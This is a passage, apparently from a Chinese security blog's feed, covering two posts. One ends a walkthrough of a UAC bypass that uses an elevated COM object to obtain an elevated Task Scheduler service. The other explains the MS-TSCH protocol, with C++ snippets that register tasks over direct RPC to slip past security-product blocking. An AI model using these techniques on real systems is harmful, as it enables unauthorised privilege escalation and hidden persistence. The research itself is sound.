2em;&quot;&gt;1.我们要求COM激活器绑定至`Moniker`为`Elevation:Administrator!new:{A6BFEA43-501F-456F-A845-983D3AD7B8F0}`的对象，由于激活上下文标记为`CLSCTX_LOCAL_SERVER`，本地COM客户端（`combase.dll`）将请求DCOM服务，发送一个`进程外（Out-Of-Process）`、`提升的（Elevated）`激活请求。&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;2.DCOM根据组件`注册信息（registration info）`与`激活上下文（Activation Context）`，确保`A6BFEA43-501F-456F-A845-983D3AD7B8F0`对象可以提升（实际上这里将调用`AppInfo服务`），且当前用户具备激活权限（存在包含已启用组`S-1-5-4`的`显式DACL`）。&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;3.DCOM服务在`新的（new）`、`其他的（others）`、`提升后的（elevated）` 进程中进行`激活（activation）`操作，创建`真实对象（Real Object）`。&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;4.DCOM通知本地COM客户端激活成功（`HRESULT=S_OK`），本地客户端在当前进程创建真实对象的`代理（Proxy）`作为实际通信目标。&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;5.当前进程在代理对象上调用`实例方法`，该方法实际上由远程对象进行处理。&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;6.根据方法签名，调用将返回新的`ITaskService`对象引用。由于`ITaskService`对象未实现额外的`编组（Marshalling）`接口，COM进行默认封装，返回`远程对象引用（Remote Object Reference，ObjRef）`。&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;7.本地客户端在当前进程以`代理对象（Proxy Object）`形式创建`ITaskService`对象的`代理（Proxy）`。&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;8.根据MSDN所述，对象远程引用在`调用方（caller）`等于真实对象；根据`CLSID`，真实对象是一个`ITaskService`。&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;9.我们在`未提升进程（unelevated process）`中，获取到了在`提升后进程（elevated process）`的`ITaskService`对象代理，任何对代理对象的操作都将无条件转发至真实对象。&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;10.创建带有`TASK_RUNLEVEL_HIGHEST`标记或其它任意用户（例如`SYSTEM`）运行的计划任务。完成UAC绕过。&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;&lt;br/&gt;&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;如果你有耐心看到这里，请务必牢牢记住代理模式这个名词与其含义。我们在本文中见证了一个实际环境中的代理模式套娃，要理解这种模式背后的设计理念和思想，这个思想以后会用在你开发的每行代码、审计的每个功能以及测试的每个业务上。&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;&lt;br/&gt;&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;到这里，我们可以回答0x00中提出的问题了：&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;1.确实存在一个未文档化的COM，能够根据我们可控制的方式调用计划任务组件。&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;2.这个组件配置了UAC提升，其通过默认COM代理，在提升后的代理进程内，根据已知的白名单CLSID，创建进程内COM对象；随后通过COM代理直接返回至调用方，供未提升的进程进行调用。&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;3.由于白名单中有且只有`0f87369f-a4e5-4cfc-bd3e-73e6154572dd`即计划任务（TaskService），导致未提升的进程可获取一个提升后的`TaskService`对象&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;4.通过调用此对象即可创建以完整权限运行的计划任务，实现UAC ByPass。&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;&lt;br/&gt;&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;0x06 总结&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;&lt;br/&gt;&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;这篇文章可以认为是从理论基础发散并落地到实战应用的开端。以前一篇微软文档化的`MS-TSCH协议`与XML作为基础，结合COM基础知识作为补全；随后发掘出有价值的研究目标，作为具有实战价值的工具与代码实现落地；最终我们重新梳理总结相关知识点，借本次这个实例重温关于COM诸多知识细节，并在实践中一一验证，实现“知识闭环”。&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;文章涉及的相关代码可以在&lt;a href=&quot;https://github.com/zcgonvh/TaskSchedulerMisc/&quot; target=&quot;_self&quot;&gt;Github&lt;/a&gt;找到。虽然能够直接编译执行，但我依然不建议直接拿来使用，这对于能力提升并没有任何好处。&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;（另：请遵守刑法、网络安全法等相关规定，我只是单纯分享知识，任何使用不当造成的后果请自行承担）&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;（&lt;strong&gt;请尊重开源协议&lt;/strong&gt;，抄代码做“武器化”挺无聊的不是么）&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;当然，这篇文章并不全面，我们只是单纯的根据注册表，然后根据其功能找到了一个UAC Bypass。&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;而其他的多个角度，无论是继续进行0x01最后对计划任务的跟踪，或是重新对UAC乃至COM进行挖掘，从研究的角度看都有很多细节值得发散开来。&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;限于篇幅，一些拓展性质的思考将在后续某些系列中进行讲解。&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;最后，还是那句话，文章的目的是传递知识，论文形式的总结除了“让文章看起来丰满”之外毫无意义。安全研究这种强知识导向的领域没有取巧，只有知识积累才是串联一切的根本，最终厚积薄发乃至蜕变。&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;希望这篇文章能在技术点之外为各位带来启发。&lt;/p&gt;</description><pubDate>Mon, 20 Jun 2022 22:38:43 +0800</pubDate></item><item><title>Advanced Windows Task Scheduler Playbook - Part.1 basic</title><link>http://www.zcgonvh.com/post/Advanced_Windows_Task_Scheduler_Playbook-Part.1_basic.html</link><description>&lt;p style=&quot;text-indent: 2em;&quot;&gt;0x00 前言&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;&lt;br/&gt;&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;这个系列是关于Windows计划任务中一些更为本质化的使用，初步估计大概四章。&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;相比于工具文档或技术文章，我更倾向于将这几篇文章作为传统安全研究的思维笔记，一方面阐述研究过程与思维逻辑，另一方面记录研究成果落地为实战工具的过程。&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;武器化也好安全开发也罢，将理论基础作为依据，以研究成果作补充，从实战效果作证明的三板斧不能变。&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;希望在使用之余，能为大家带来研究思路上的启发。&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;&lt;br/&gt;&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;0x01 现象&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;&lt;br/&gt;&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;对Windows对抗有一定研究的，大多都接触过计划任务的相关知识。&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;作为文档化的组件之一，好处是有完整的&lt;a href=&quot;https://docs.microsoft.com/en-us/windows/win32/taskschd/task-scheduler-start-page&quot; target=&quot;_self&quot;&gt;官方文档&lt;/a&gt;作为参考，例如我们可以几乎不费力气找到很常用的登录&lt;a href=&quot;https://docs.microsoft.com/en-us/windows/win32/taskschd/logon-trigger-example--c---&quot; target=&quot;_self&quot;&gt;自启动代码&lt;/a&gt;，稍作修改即可直接使用。&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;坏处是，文档太长了，面向对象的代码也太复杂了（相对于脚本尤其是安全工具而言）。以上文登录自启动的代码为例，十几个API调用，无故引入且无法去掉的`taskschd.dll`导入，为什么普通用户执行不成功，`S-1-5-32-544`是什么，`TASK_LOGON_GROUP`的定义又在哪？&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;&lt;br/&gt;&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;好在我们是安全研究者，安全研究更擅长从结论/状况反推原因，现在来发挥所长：&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;我们知道计划任务可以通过UI或者命令行方式进行创建，其参数和选项大部分是对应的。&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;我们知道计划任务可以通过`ITaskService`接口或是`TaskSchedulerClass`类以及一系列对象进行操作。&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;我们知道计划任务可以导出一个XML，通过UI或是命令行均可再将其导入。&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;我们知道每一个计划任务文件都存放于`%SystemRoot%\System32\Tasks`目录下，内容和导出的XML完全相同。&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;&lt;br/&gt;&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;所以，从安全研究的角度，这里可以提出一个问题：计划任务的本质是什么？是那些类，还是XML？&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;如果是类的话，那么XML在其中充当着什么角色，是如何解析的？&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;如果是XML的话，那么类充当的又是什么角色？&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;&lt;br/&gt;&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;0x02 依据&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;&lt;br/&gt;&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;虽然Windows提供了绝大部分符号，但在此时还没有调试Windows服务的必要。我们在横向移动的过程中依然会用到计划任务程序，那么首先抓个包：&lt;/p&gt;&lt;p style=&quot;text-indent: 2em; text-align: center;&quot;&gt;&lt;img src=&quot;http://www.zcgonvh.com/zb_users/upload/2022/05/202205301653910807269029.png&quot;/&gt;&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;看到了满屏的RPC调用，对其解密后可以看到以下信息：&lt;/p&gt;&lt;p style=&quot;text-indent: 2em; text-align: center;&quot;&gt;&lt;img src=&quot;http://www.zcgonvh.com/zb_users/upload/2022/05/202205301653910808307547.png&quot;/&gt;&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;我们看到了几个重点，首先调用号（Opnum）为1；其次RPC Stub Data即调用的参数中明显出现了新任务名称，以及随后的XML。&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;&lt;br/&gt;&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;以`windows task scheduler rpc`为关键字搜索，我们可以找到`&lt;a href=&quot;https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-tsch/21e8e86e-ee5a-469d-917f-28a41f3c25a4&quot; target=&quot;_self&quot;&gt;MS-TSCH&lt;/a&gt;`协议，依文档所述，这是建立在RPC协议之上、用于远程对计划任务进行增删改查的接口，同时，我们也看到了熟悉的`ITaskSchedulerService`：&lt;/p&gt;&lt;p style=&quot;text-indent: 2em; text-align: center;&quot;&gt;&lt;img src=&quot;http://www.zcgonvh.com/zb_users/upload/2022/05/202205301653910808356639.png&quot;/&gt;&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;参考`&lt;a href=&quot;https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-tsch/849c131a-64e4-46ef-b015-9d4c599c5167&quot; target=&quot;_self&quot;&gt;ITaskSchedulerService SchRpcRegisterTask (Opnum 1)&lt;/a&gt;`一章，对比参数可基本进行确认：&lt;/p&gt;&lt;p style=&quot;text-indent: 2em; text-align: center;&quot;&gt;&lt;img src=&quot;http://www.zcgonvh.com/zb_users/upload/2022/05/202205301653910808485900.png&quot;/&gt;&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;最后，以`impacket`作为佐证，众所周知`atexec.py`采用计划任务方式进行利用，其中创建远程计划任务同样通过`SchRpcRegisterTask`调用：&lt;/p&gt;&lt;p style=&quot;text-indent: 2em; text-align: center;&quot;&gt;&lt;img src=&quot;http://www.zcgonvh.com/zb_users/upload/2022/05/202205301653910809376554.png&quot;/&gt;&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;于是，我们得到了一个理论依据：微软通过`MS-DCERPC`协议，在上层构建了`MS-TSCH`协议，该协议通过XML作为参数，实现了对计划任务的管理。&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;&lt;br/&gt;&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;0x03 本质&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;&lt;br/&gt;&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;有了`MS-TSCH`作为理论依据，让我们换个思路，尝试从设计者角度进行思考：&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;&lt;span style=&quot;text-decoration: line-through;&quot;&gt;（现在，你是一名架构师了）&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;&lt;strong&gt;假设现在一无所有，你会如何设计一个计划任务程序？&lt;/strong&gt;&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;&lt;strong&gt;&lt;br/&gt;&lt;/strong&gt;&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;首先，所有人都可能调用计划任务，意味着进程应当常驻后台；低权限用户并不能以高权限用户身份进行操作，所以进程需要高权限，并实现模拟机制；高权限后台进程要考虑到特权提升的问题，所以需要存在合理的鉴权机制；计划任务不涉及硬件管理，也并非系统运行所必需，所以无需进入内核。&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;其次，接受其它进程调用需要有一个合理的通信机制。Windows进程间通信方式众多，出于鉴权考虑，命名管道和alpc均可作为可选项；在易用性方面，alpc和命名管道均有RPC上层封装可用；在性能方面，alpc是毫无疑问的首选（详参微软官方博客alpcport相关）。&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;之后，出于管理需要，需要支持远程调用。考虑到稳定性，远程通信的方式大多建立在TCP上层；考虑到防火墙与安全性因素，支持加密的HTTPS/SMB/RPC/DCOM是几个可选项；鉴于远程管理往往有着最小配置与降级原则，RPC由于可独立配置、能够通过ncacn_np使用SMB协议通信且不受额外选项干扰，在此优于DCOM；鉴于API统一的原则，统一了本地通信与远程通信的RPC是唯一可选项。&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;最后，考虑到拓展的需要，需要可拓展的存储方式。考虑到`MS-TSCH`至少有着十五年的历史，采用XML兼顾可读性与拓展性无可厚非。&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;&lt;br/&gt;&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;于是，有了基于`MS-DCERPC`与直接XML传递的`MS-TSCH`协议。&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;&lt;br/&gt;&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;在微软的实现中，`Schedule`服务以`SYSTEM`权限运行，同时拥有`SeImpersoante、SeAssignPrimaryToken`等特权提供不同用户权限的切换。服务通过注册`ncalrpc、ncacn_np(atsvc)`以及向`epmapper`注册三种方式公开了本地与远程的RPC调用端点（EndPoint），为调用方提供`MS-TSCH`协议规定的服务。&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;&lt;br/&gt;&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;好的，我们有了一个通过XML进行通信、且会进行透明鉴权的计划任务服务。&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;&lt;br/&gt;&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;现在，把思路再次转回调用者。&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;&lt;span style=&quot;text-decoration: line-through;&quot;&gt;（现在，你是一名程序员。这个功能很重要，怎么实现没人管，明天上线）&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;&lt;span style=&quot;text-decoration: line-through;&quot;&gt;&lt;br/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;不可否认，对照模板编写XML这一做法，对于懒人（我特指初级代码开发人员，无贬义）固然有着无以伦比的方便。但对接过API的都知道，世界上第一痛苦的API就是调用万能接口，第二绝对是通过XML进行数据传递。&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;`MS-TSCH`出生在至少十五年前，很不幸，两毒俱全。来想象一下你是个防守方，现在应用一个临时缓解措施，需要建立并下发以下计划任务监控：当事件ID 1234触发时，执行powershell命令调用某个API。&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;想到要看协议文档就很头疼对吧，想到要写C来调用RPC就更头大了对吧。&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;&lt;br/&gt;&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;所以微软通过`COM`，在`Taskschd.dll`内对`MS-TSCH`进行面向对象封装，其`CLSID`为`0F87369F-A4E5-4CFC-BD3E-73E6154572DD`，并提供了一系列帮助接口提供Trigger、Action、Folder的抽象。&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;为了支持脚本功能，为这个类注册了名为`Schedule.Service`的`ProgId`，并实现了`IDispatch`接口，使得VBS/Powershell等脚本语言能够进行快速调用。&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;这些是纯粹的封装与帮助类，和实际的协议完全无关。&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;&lt;br/&gt;&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;到这里，TaskScheduler服务（Service或RPC EP）的本质也就呼之欲出：鉴权，接收一个XML（无论是帮助类生成的还是自己构建的），注册到自己业务环境内。&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;&lt;br/&gt;&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;从这个角度看来，计划任务的本质和传统WEB并没有任何区别，甚至可以直接用下面这张图进行类比：&lt;/p&gt;&lt;p style=&quot;text-indent: 2em; text-align: center;&quot;&gt;&lt;img src=&quot;http://www.zcgonvh.com/zb_users/upload/2022/05/202205301653910809138310.png&quot;/&gt;&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;RPC对应HTTP，OPNUM对应Action/Method，XML对应Body。语法、语义、时序完全对应，是的，完美。&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;实际上，除却纯粹二进制的领域，至少一半的Windows组件能够用这样的方式进行类比。&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;&lt;br/&gt;&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;最后，我们把思维转回安全角度。&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;&lt;span style=&quot;text-decoration: line-through;&quot;&gt;（放开我，我是信息安全工程师.jpg）&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;&lt;span style=&quot;text-decoration: line-through;&quot;&gt;&lt;br/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;从攻击者视角看，由于绝大部分文档都仅仅讲述对`COM API`的调用，进而可猜想绝大部分防御措施会针对`Taskschd.dll`，通过RPC进行绕过可能是一个可行的突破方案。&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;而从防御者视角看，绕过`Taskschd.dll`这一`wrapper`可能会对自身防御体系造成绕过甚至击穿（这里“击穿”二字绝非危言耸听）。&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;&lt;br/&gt;&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;0x04 COM&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;&lt;br/&gt;&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;了解到部分本质之后，我们开始进行更为简洁，更贴近于安全思维的调用。&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;（不要忘记，我们已经把思维转换回了安全角度）&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;&lt;br/&gt;&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;在参考c++版本示例代码的时候，我们可以看到微软同时提供了&lt;a href=&quot;https://docs.microsoft.com/en-us/windows/win32/taskschd/logon-trigger-example--xml-&quot; target=&quot;_self&quot;&gt;XML参考&lt;/a&gt;，并提示了可以使用`ITaskFolder::RegisterTask`通过XML直接注册计划任务。&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;随后调用`ITaskFolder::RegisterTask`来替代之前的繁琐方式（参考代码依然来自MSDN）：&lt;/p&gt;&lt;pre class=&quot;prism-highlight prism-language-cpp&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;ITaskFolder*&amp;nbsp;pRootFolder&amp;nbsp;=&amp;nbsp;NULL;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;hr&amp;nbsp;=&amp;nbsp;pService-&amp;gt;GetFolder(_bstr_t(L&amp;quot;\\&amp;quot;),&amp;nbsp;&amp;amp;pRootFolder);
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;if&amp;nbsp;(FAILED(hr))
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;{
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;printf(&amp;quot;Cannot&amp;nbsp;get&amp;nbsp;Root&amp;nbsp;folder&amp;nbsp;pointer:&amp;nbsp;%x&amp;quot;,&amp;nbsp;hr);
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;pService-&amp;gt;Release();
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;CoUninitialize();
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;return&amp;nbsp;1;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;IRegisteredTask*&amp;nbsp;pRegisteredTask&amp;nbsp;=&amp;nbsp;NULL;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;pRootFolder-&amp;gt;RegisterTask
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;(
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;_bstr_t(wszTaskName),
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;_bstr_t(&amp;quot;xml&amp;quot;),
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;TASK_CREATE_OR_UPDATE,
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;_variant_t(),
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;_variant_t(),
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;TASK_LOGON_INTERACTIVE_TOKEN,
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;_variant_t(),
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;amp;pRegisteredTask
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;);&lt;/pre&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;&lt;br/&gt;&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;0x05 RPC&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;&lt;br/&gt;&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;同样的，`&lt;a href=&quot;https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-tsch/96c9b399-c373-4490-b7f5-78ec3849444e&quot; target=&quot;_self&quot;&gt;MS-TSCH 6.3 Appendix A.3: SchRpc.idl&lt;/a&gt;`提供了完整的IDL，通过编译IDL即可直接进行简单的RPC调用：&lt;/p&gt;&lt;pre class=&quot;prism-highlight prism-language-cpp&quot;&gt;RpcTryExcept
&amp;nbsp;&amp;nbsp;{
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;wchar_t*&amp;nbsp;pActualPath&amp;nbsp;=&amp;nbsp;0;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;const&amp;nbsp;wchar_t*&amp;nbsp;xml&amp;nbsp;=&amp;nbsp;L&amp;quot;&amp;lt;!--snipped&amp;nbsp;xml--&amp;gt;&amp;quot;;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;_TASK_XML_ERROR_INFO&amp;nbsp;*errorInfo&amp;nbsp;=&amp;nbsp;0;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;SchRpcRegisterTask
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;(
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;schrpc_binding_handle,
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;L&amp;quot;\\Test&amp;nbsp;Task&amp;quot;,
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;xml,
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;6,
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;0,
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;0,
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;0,
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;0,
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;amp;pActualPath,
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;amp;errorInfo
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;);
&amp;nbsp;&amp;nbsp;}
RpcExcept(1)
&amp;nbsp;&amp;nbsp;{
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;DWORD&amp;nbsp;code&amp;nbsp;=&amp;nbsp;RpcExceptionCode();&amp;nbsp;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;printf(&amp;quot;RPC&amp;nbsp;Exception&amp;nbsp;%d\n&amp;quot;,&amp;nbsp;code);
&amp;nbsp;&amp;nbsp;}
RpcEndExcept;&lt;/pre&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;至少在本文发布的时候，利用直接RPC调用可以绕过相当一部分防护软件对计划任务自启动的拦截。&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;&lt;br/&gt;&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;0x06 总结&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;&lt;br/&gt;&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;本章从协议层面，讲述了Windows计划任务程序从设计、协议、实现均基于XML格式这一基础事实，并以此为基础介绍了更为简单方便的调用。&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;&lt;br/&gt;&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;基础之所以是基础，在于后续相关知识与应用一定会与其具备强关联，而绝非单纯的浅显易懂。&lt;/p&gt;&lt;p style=&quot;text-indent: 